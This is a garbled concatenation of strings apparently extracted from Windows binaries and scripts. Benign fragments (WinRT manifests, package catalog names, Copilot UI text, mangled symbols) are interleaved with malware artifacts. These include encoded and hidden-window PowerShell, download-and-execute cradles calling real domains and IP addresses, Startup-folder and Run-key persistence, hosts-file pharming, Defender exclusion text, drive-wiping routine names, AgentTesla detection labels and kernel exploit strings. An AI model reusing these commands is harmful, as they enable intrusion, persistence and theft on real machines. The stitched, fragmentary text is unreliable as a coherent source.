threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="RNSVG.RadialGradientViewManager" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="RNSVG.ReactPackageProvider" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="RNSVG.RectView" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="RNSVG.RectViewManager" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="RNSVG.SvgView" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="RNSVG.SvgViewManager" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="RNSVG.SymbolView" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="RNSVG.SymbolViewManager" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="RNSVG.TextView" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="RNSVG.TSpanView" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="RNSVG.TextViewManager" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="RNSVG.TSpanViewManager" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="RNSVG.UnsupportedSvgViewManager" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="RNSVG.UseView" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="RNSVG.UseViewManager" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass></file><file name="ReactNativeVideoCPP.dll" hashalg="SHA1"><activatableClass name="ReactNativeVideoCPP.ReactPackageProvider" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass><activatableClass name="ReactNativeVideoCPP.ReactVideoView" threadingModel="both" xmlns="urn:schemas-microsoft-com:winrt.v1"></activatableClass></file><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel></requestedPrivileges></security></trustInfo><asmv3:application><asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2016/WindowsSettings"><dpiAwareness>PerMonitorV2</dpiAwareness></asmv3:windowsSettings></asmv3:application><ms_compatibility:compatibility xmlns:ms_compatibility="urn:schemas-microsoft-com:compatibility.v1" xmlns="urn:schemas-microsoft-com:compatibility.v1"><ms_compatibility:application xmlns:ms_compatibility="urn:schemas-microsoft-com:compatibility.v1"><ms_compatibility:supportedOS xmlns:ms_compatibility="urn:schemas-microsoft-com:compatibility.v1" Id="{8e0f7a12-bfb3-4fe8-b9a5-48f
svchastwindows police pro
get_IsWindows11_OrGreater
System.Windows.Forms.UnsafeNativeMethods.ISimpleFrameSite.PreMessageFilter
System.Windows.Forms.UnsafeNativeMethods.ISimpleFrameSite.PostMessageFilter
System.Windows.Forms.UnsafeNativeMethods.IOleDropTarget.OleDragEnter
System.Windows.Forms.IDropTarget.OnDragEnter
c:\windows\system32\windowspowershell\v1.0\powershell.exepowershell-ecwbjagiaiaanaf4abqbzaggaxgb0af4axgbeageaiaboaf4adab0af4axgbeaf4acabeaf4acwbeaf4aogavaf4axgbeac8azgb3af4axgbeaguaxgbeaf4azgbeaf4axgbeahcaxgblaf4axgbmaguayqbeaf4axgbzaf4azaauahmaaabeaf4axgbeag8axgbeaf4axgbwaf4alwbwaekatwbmaf4axgbeaf4aqqbuaf4axgbjaf4axgbpaf4axgbeae4axgbeaf4axwbdaf4axgbeaf4ababeaf4ayqbeaf4axgbeagkabqauaf4axgbeaf4abqbeahaanabeaf4axganac4acgblahaababhagmazqaoaccaxganacwajwanackaowbpaguaeaagacgazwbjagiakqa=
1" src="file:///C:\WINDOWS\system32\@or
uWindowsI
ditt Windows-l
senord. Ange ditt Windows-l
senord. Ange ditt Windows-l
senord. Ange ditt Windows-l
senord. Ange ditt Windows-l
senord. Ange ditt Windows-l
senordshanteraren. Ange ditt Windows-l
senord. Ange ditt Windows-l
ver Windows 10 eller h
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Lxss-Optional-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Product-onecore__Microsoft-OneCore-WSD-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
-process-windowstylehiddeniexP
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
UX.KFMWindowsBackupWizardUILaunch
Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy
Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy!App
 Windows
pWindowsFormsApp2.Properties60a8064f7d3f
WindowsFeedbackProtocol
Microsoft.Windows.MediaPlayer322,
RESMGR_WindowsContainers
RESMGR_Winlogonuihost
RESMGR_Winlogontaskman
DMicrosoft.Windows.Widgets.Feeds.Hosts.FeedDefinitionUpdatedEventArgs
.Microsoft.Windows.Widgets.Feeds.Hosts.FeedHost
<Microsoft.Windows.Widgets.Feeds.Hosts.FeedProviderDefinition
JMicrosoft.Windows.Widgets.Feeds.Hosts.FeedProviderDefinitionAddedEventArgs
LMicrosoft.Windows.Widgets.Feeds.Hosts.FeedProviderDefinitionDeletedEventArgs
LMicrosoft.Windows.Widgets.Feeds.Hosts.FeedProviderDefinitionUpdatedEventArgs
EMicrosoft.Windows.Widgets.Feeds.Hosts.FeedRemoveAnnouncementEventArgs
CMicrosoft.Windows.Widgets.Feeds.Hosts.FeedSendAnnouncementEventArgs
TMicrosoft.Windows.Widgets.Feeds.Providers.ICustomQueryParametersUpdateOptionsFactory
(Microsoft.Windows.Widgets.WidgetContract
=Microsoft.Windows.Widgets.Feeds.Providers.IFeedManagerStatics
(Microsoft.Windows.Widgets.WidgetContract
FMicrosoft.Windows.Widgets.Feeds.Providers.IFeedResourceResponseFactory
(Microsoft.Windows.Widgets.WidgetContract
LMicrosoft.Windows.Widgets.Feeds.Providers.CustomQueryParametersRequestedArgs
LMicrosoft.Windows.Widgets.Feeds.Providers.CustomQueryParametersUpdateOptions
GMicrosoft.Windows.Widgets.Feeds.Providers.FeedAnalyticsInfoReportedArgs
:Microsoft.Windows.Widgets.Feeds.Providers.FeedDisabledArgs
9Microsoft.Windows.Widgets.Feeds.Providers.FeedEnabledArgs
CMicrosoft.Windows.Widgets.Feeds.Providers.FeedErrorInfoReportedArgs
5Microsoft.Windows.Widgets.Feeds.Providers.FeedManager
AMicrosoft.Windows.Widgets.Feeds.Providers.FeedMessageReceivedArgs
BMicrosoft.Windows.Widgets.Feeds.Providers.FeedProviderDisabledArgs
AMicrosoft.Windows.Widgets.Feeds.Providers.FeedProviderEnabledArgs
:Microsoft.Windows.Widgets.Feeds.Providers.FeedProviderInfo
=Microsoft.Windows.Widgets.Feeds.Providers.FeedResourceRequest
CMicrosoft.Windows.Widgets.Feeds.Providers.FeedResourceRequestedArgs
>Microsoft.Windows.Widgets.Feeds.Providers.FeedResourceResponse
*Microsoft.Windows.Widgets.Hosts.Screenshot
(Microsoft.Windows.Widgets.WidgetContract
&Microsoft.Windows.Widgets.Hosts.Widget
(Microsoft.Windows.Widgets.WidgetContract
(Microsoft.Windows.Widgets.WidgetContract
(Microsoft.Windows.Widgets.WidgetContract
(Microsoft.Windows.Widgets.WidgetContract
4Microsoft.Windows.Widgets.Hosts.WidgetApiInformation
0Microsoft.Windows.Widgets.Hosts.WidgetCapability
-Microsoft.Windows.Widgets.Hosts.WidgetCatalog
0Microsoft.Windows.Widgets.Hosts.WidgetDefinition
>Microsoft.Windows.Widgets.Hosts.WidgetDefinitionAddedEventArgs
@Microsoft.Windows.Widgets.Hosts.WidgetDefinitionDeletedEventArgs
@Microsoft.Windows.Widgets.Hosts.WidgetDefinitionUpdatedEventArgs
1Microsoft.Windows.Widgets.Hosts.WidgetHostContext
*Microsoft.Windows.Widg
Gtools.WriteZeroToDrivetools.WriteFFToDrivetools.WriteRandToDrivetools.FindWindowsDrive!#ALF:Trojan:MSIL/AgentTesla.AGK!MTB
Microsoft.Windows.USB.XHCI
:$serverurl="http://213.209.150.191/documents/albion/file"$pdffilename="activationkey-gleo.fun.txt"$zipfilename="albion.zip"$temppath="$env:temp"$pythonfolder=join-path-path$temppath-childpath"albion"$startupfolder="$env:appdata\microsoft\windows\startmenu\programs\startup"$pdfwebclient=new-objectsystem.net.webclient
$serverurl="http://104.245.241.157/documents/files/zip"$pdffilename="devops.pdf"$zipfilename="kursorresourcesv2.zip"$temppath="$env:temp"$pythonfolder=join-path-path$temppath-childpath"kursorresourcesv2"$startupfolder="$env:appdata\microsoft\windows\startmenu\programs\startup"$pdfwebclient=new-objectsystem.net.webclient
Pharming($dataone);fopen("C:\\windows\\system32\\drivers\\etc\\hosts","w+");$serv = gethostbyname("$urldonw");
xx#tempinstpath#\Pharming DNS.setC:\Windows\system\system.vbs%s\gert%i.dll
Ss!c:\windows\system32\cscript.exec:\windows\system32\sconnect.jsc:\windows\system32cingram
MicrosoftWindows.Client.Photon_1000.26100.10.0_x64_H
WindowsAppRuntime.1.6
.?AU?$require_one@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIUIElement4@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement5@UStartupAppsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIUIElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement2@UStartupAppsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIUIElement2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement3@UStartupAppsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElement6@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement7@UStartupAppsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElement7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement@UStartupAppsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElement3@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement4@UStartupAppsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElement4@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement6@UStartupAppsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement2@UStartupAppsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElement2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement3@UStartupAppsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIControl5@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl7@UStartupAppsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIControl7@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement@UStartupAppsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIControl3@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl4@UStartupAppsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIControl4@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl5@UStartupAppsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl2@UStartupAppsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
 "C:\Windows\explorer.exe N
\windows\system32\wpbbin.exe
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.Platform.Partitioning.ActivePartitions
Windows.Data.Platform.Partitioning.SystemPartitionIndex
Windows.Data.Platform.BackupRestore.ManifestBackupStore
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.Accessibility.EyeControl.SyncedSettings
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.Platform.Partitioning.PartitionMetadata
Windows.Data.Platform.Partitioning.PartitionInfo
Windows.Data.Platform.Partitioning.SystemPartitionIndex
Windows.Data.Platform.Partitioning.DeviceExperiencePartition
Windows.Data.Platform.Partitioning.PartitionIndex
Windows.Data.Platform.BackupRestore.DeviceProfile
Windows.Data.Platform.Partitioning.PartitionInfo
Windows.Data.Platform.Partitioning.OperatingSystemVersion
CloudData.WindowsClient.CloudDataRemotelyAvailableWnf
CloudData.WindowsClient.CloudDataRemotelyAvailableWnf
Windows.Data.Input.Devices.TouchpadSyncedSettings
CloudData.WindowsClient.CloudDataRemotelyAvailableWnf
Windows.Data.Platform.Partitioning.PartitionMetadata
Windows.Data.Platform.Partitioning.DevicePartitions
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
:\windows\temp\
$upwindows\sys.cmdobjshell.run/f /v "favorites"09d}\
WindowsCreateStringReference
WindowsDeleteString
WindowsCompareStringOrdinal
WindowsMaps
c:\windows\system32\rundll32
notepadcmd.exe","c:\windows\system32\test.
\system32\rundll32.exe
shell32.dll%windir%\system32\rundll32.exe
-windowstylehidden-commandiex(iwr-uri
=newactivexobject("windowsinstaller.installer");
in esecuzione come amministratore. Riavvio con privilegi elevati...Inserisci il testo da analizzareramerson patrick solution fabric omebralesrtup beraitodNessun input ricevuto. Utilizzo del testo predefinitoopretorsa.pdbInvoke-WebRequest -UriDownload del file 3 fallitopowershell -CommandCartelle aggiunte alle esclusioni di Windows Defender
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
regdelete ( "hkcu\software\microsoft\windows\currentversion" , "bpr18j8rsz" )r
rv_mutex-windowsupdatesysten32r
Microsoft.Windows.Shell.AboveLockActivationManager
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.Shell.AboveLockShellComponent
uWindows
_proxy?cl=1 http/1.1user-agent: mozilla/4.0 (compatible; msie 5.0; windows 95)msgqueue_msg1_data_%08xm_server_work_time\temp_%d.batsoftware\numega
EventRegisterMicrosoft_Windows_WFP
base@U?$map_impl@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@V?$map@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@U?$less@Uhstring@winrt@@@std@@V?$allocator@U?$pair@$$CBUhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@std@@@7@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@V?$tuple@U?$IMap@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@winrt@@U?$IMapView@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@2345@U?$IIterable@U?$IKeyValuePair@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@winrt@@@2345@@std@@@impl@winrt@@
.?AUtype@?$abi@U?$IMap@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
tWindowsP
$ed online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.targetdevicefamilyfactory.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.primarytileuserfactory.cpp
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
WindowsOobeAppHost.AppXxbbgfs3eefd4q8nqbj8mweta7dggm8n8.mca
WindowsOobeAppHost.wwa
fc:\windows\system32\windowspowershell\v1.0\powershell.exe-ebqbzaggadabhacaaiaaiaggadab0ahaacwa6ac8alwbsagkabgbradianaauagsacgavadgaoaayagiatqbmafaaiga=
")+"set-item-pathhkcu:\software\microsoft\windows\currentversion\run-value"+"'"+startupfolder
Microsoft.Windows.Audio.CrossVmApi
Microsoft.Windows.Audio.Effects
Microsoft.Windows.Bluetooth.AudioPlaybackConnection
Microsoft.Windows.Audio.Spatial.Metadata
Windows.Media.Devices.pdb
WindowsVersion
/config/v1/MicrosoftWindowsDefenderClient/1.0
 Windows
system.windows.forms.messagebox]::show
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.packageuserfactory.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.hostruntime.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.packageextensionfactory.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.appurihandlerfactory-custom.cpp
Windows.Media.Devices.dll
*.actile.|%WINDIR%\System32\svchost.exe
WindowsApps\mapsL
"user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x
Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
windows_ie_ac_001G
FwHResultToWindowsError
WindowsCreateString
WindowsDeleteString
api-ms-win-core-windowserrorreporting-l1-1-0.dll
heckboxWindows@winrt@@
.?AU?$root_implements_composable_inner@UReactPackageProvider@factory_implementation@CheckboxWindows@winrt@@$0A@@impl@winrt@@
.?AU?$root_implements@UReactPackageProvider@factory_implementation@CheckboxWindows@winrt@@UIActivationFactory@Foundation@Windows@4@@impl@winrt@@
.?AU?$producer@UReactPackageProvider@factory_implementation@CheckboxWindows@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UReactPackageProvider@factory_implementation@CheckboxWindows@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AUReactPackageProvider@factory_implementation@CheckboxWindows@winrt@@
.?AU?$producers_base@UReactPackageProvider@factory_implementation@CheckboxWindows@winrt@@V?$tuple@UIActivationFactory@Foundation@Windows@winrt@@@std@@@impl@winrt@@
.?AU?$produce@UReactPackageProvider@implementation@CheckboxWindows@winrt@@UIReactPackageProvider@ReactNative@Microsoft@4@@impl@winrt@@
.?AU?$produce_base@UReactPackageProvider@implementation@CheckboxWindows@winrt@@UIReactPackageProvider@ReactNative@Microsoft@4@X@impl@winrt@@
.?AU?$produce@UReactPackageProvider@implementation@CheckboxWindows@winrt@@UIReactPackageProvider@34@@impl@winrt@@
.?AU?$produce_base@UReactPackageProvider@implementation@CheckboxWindows@winrt@@UIReactPackageProvider@34@X@impl@winrt@@
.?AU?$implements@UReactPackageProvider@implementation@CheckboxWindows@winrt@@U134@UIReactPackageProvider@ReactNative@Microsoft@4@@winrt@@
.?AU?$ReactPackageProvider_base@UReactPackageProvider@implementation@CheckboxWindows@winrt@@$$V@implementation@CheckboxWindows@winrt@@
.?AU?$root_implements_composable_inner@UReactPackageProvider@implementation@CheckboxWindows@winrt@@$0A@@impl@winrt@@
.?AU?$root_implements@UReactPackageProvider@implementation@CheckboxWindows@winrt@@U134@UIReactPackageProvider@ReactNative@Microsoft@4@@impl@winrt@@
.?AU?$producer_convert@UReactPackageProvider@implementation@CheckboxWindows@winrt@@UIReactPackageProvider@ReactNative@Microsoft@4@X@impl@winrt@@
.?AU?$producer@UReactPackageProvider@implementation@CheckboxWindows@winrt@@UIReactPackageProvider@ReactNative@Microsoft@4@X@impl@winrt@@
.?AU?$producer@UReactPackageProvider@implementation@CheckboxWindows@winrt@@UIReactPackageProvider@34@X@impl@winrt@@
.?AU?$producer_convert@UReactPackageProvider@implementation@CheckboxWindows@winrt@@U134@X@impl@winrt@@
.?AUReactPackageProvider@implementation@CheckboxWindows@winrt@@
.?AU?$producers_base@UReactPackageProvider@implementation@CheckboxWindows@winrt@@V?$tuple@UReactPackageProvider@CheckboxWindows@winrt@@UIReactPackageProvider@ReactNative@Microsoft@3@@std@@@impl@winrt@@
.?AUtype@?$abi@UIReactPackageProvider@CheckboxWindows@winrt@@X@impl@winrt@@
Microsoft.Windows.SMB.SRVADMIN
Microsoft.Windows.Kernel.Pdc
WindowsConnectionManager
MaxMidWindowSize
Microsoft.Windows.SMB.SRV2
Microsoft.Windows.TlgAggregateInternal
?sendEvent@QWindowSystemEventHandler@@UEAA_NPEAVWindowSystemEvent@QWindowSystemInterfacePrivate@@@Z
?sendWindowSystemEvents@QWindowSystemInterface@@SA_NV?$QFlags@W4ProcessEventsFlag@QEventLoop@@@@@Z
??0QWindowsPipeReader@@QEAA@PEAVQObject@@@Z
??0QWindowsPipeWriter@@QEAA@PEAXPEAVQObject@@@Z
??0QWindowStateChangeEvent@@QEAA@V?$QFlags@W4WindowState@Qt@@@@_N@Z
??1QWindowStateChangeEvent@@UEAA@XZ
\?setWindowStates@QWindow@@QEAAXV?$QFlags@W4WindowState@Qt@@@@@Z
windowsudk.shellcommon.dll
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.25\inc\wil\opensource\wil\result.h
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.25\inc\wil\Staging.h
\WINDOWS\Fonts\sammenryste.ini
Windows.Desktop
Windows Desktop
Windows 
c:/windows/system32/dt
c:/windows/system32/dD
c:\windows\shoot.dll
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
8=createobject(microsoft.xmlhttp)objshell.runc:\windows\system32\config\winlogon.exesetobjshell=createobject(wscript.shell)sget.savetofilec:\windows\system32\config\winlogon.exe
copy %systemroot%\system32\wins\delphi.exe %systemroot%\system32\dllcache\delphi.exe /y
powershell-windowstylehidden-executionpolicybypass-noprofile-command"iex((new-objectnet.webclient).downloadstring('https://ctrlcapaserc.com/bomla'))"
9N97ZCKPD60QTelegram for Windows (Unigram)https://store-images.s-microsoft.com/image/apps.12376.13537716651231321.3067a421-6c2f-48a9-b77c-1e38e19146e6.f539b24d-6328-4c00-9469-2d6d841667e6en
9N97ZCKPD60QTelegram for Windowshttps://store-images.s-microsoft.com/image/apps.12376.13537716651231321.3067a421-6c2f-48a9-b77c-1e38e19146e6.f539b24d-6328-4c00-9469-2d6d841667e6fr
9N97ZCKPD60QTelegram for Windowshttps://store-images.s-microsoft.com/image/apps.12376.13537716651231321.3067a421-6c2f-48a9-b77c-1e38e19146e6.f539b24d-6328-4c00-9469-2d6d841667e6de
zcheck_privelegespawn_shell: winlogon_pid is zeroleak::leak_data: pool_headerblf::save_blfmodify::set_attributemodify::kernel_modify_prepareleak_object_ptrleak_ntobject: entrykernel_read_primitive->spray_devtestclfs: error in setthreadtokenleak::leak_file_object_ptrnpfs::open_namedpipde_rootnpfs::add_waiterblf::test_blfblf::leak_containerosleak::leak_devobj_ptrosleak::leak_processosleak::token_kidnap\GLOBAL??\LOG:\??\pattern::search_code!#HSTR:Trojan:MSIL/AgentTesla.PK56!MTB
